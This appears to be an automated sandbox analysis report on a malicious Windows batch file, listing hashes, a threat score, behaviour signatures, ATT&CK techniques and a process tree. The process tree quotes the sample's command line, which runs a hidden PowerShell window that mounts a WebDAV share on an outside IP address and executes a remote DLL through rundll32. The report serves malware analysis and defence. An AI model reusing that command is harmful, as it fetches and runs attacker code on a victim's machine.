9fb243b67b14f6bf80a8bc5625aab707ea8da378202d9c5fc5cfa49491cf6225

Analysis

max time kernel
107s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 03:36

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General

Target

245475488597929786.bat
Size

2KB
MD5

88cdc45900f4cd6070b96debf6a5a9fb
SHA1

609bed508272c223ae50eb35ecf3b97d8b806bd4
SHA256

9fb243b67b14f6bf80a8bc5625aab707ea8da378202d9c5fc5cfa49491cf6225
SHA512

3f8aca64ce5e86912699b6de57850dc70d2b7728784c6ce5475c2c6f78caaad6aabb187e6d60a8462da5fd610ea6a5d34914acba97e0c4d319f9fa7a6b919b63

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2468	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2468	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2584	wordpad.exe
2584	wordpad.exe
2584	wordpad.exe
2584	wordpad.exe
2584	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 2584	2488	cmd.exe	30
PID 2488 wrote to memory of 2584	2488	cmd.exe	30
PID 2488 wrote to memory of 2584	2488	cmd.exe	30
PID 2488 wrote to memory of 2468	2488	cmd.exe	31
PID 2488 wrote to memory of 2468	2488	cmd.exe	31
PID 2488 wrote to memory of 2468	2488	cmd.exe	31
PID 2468 wrote to memory of 2764	2468	powershell.exe	33
PID 2468 wrote to memory of 2764	2468	powershell.exe	33
PID 2468 wrote to memory of 2764	2468	powershell.exe	33
PID 2468 wrote to memory of 2980	2468	powershell.exe	34
PID 2468 wrote to memory of 2980	2468	powershell.exe	34
PID 2468 wrote to memory of 2980	2468	powershell.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\245475488597929786.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2844.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2764
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2844.dll entry
    3⤵
    PID:2980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2468-23-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2468-24-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2488-16-0x0000000002160000-0x0000000002260000-memory.dmp

Filesize
1024KB

Download
memory/2488-17-0x0000000002160000-0x0000000002260000-memory.dmp

Filesize
1024KB

Download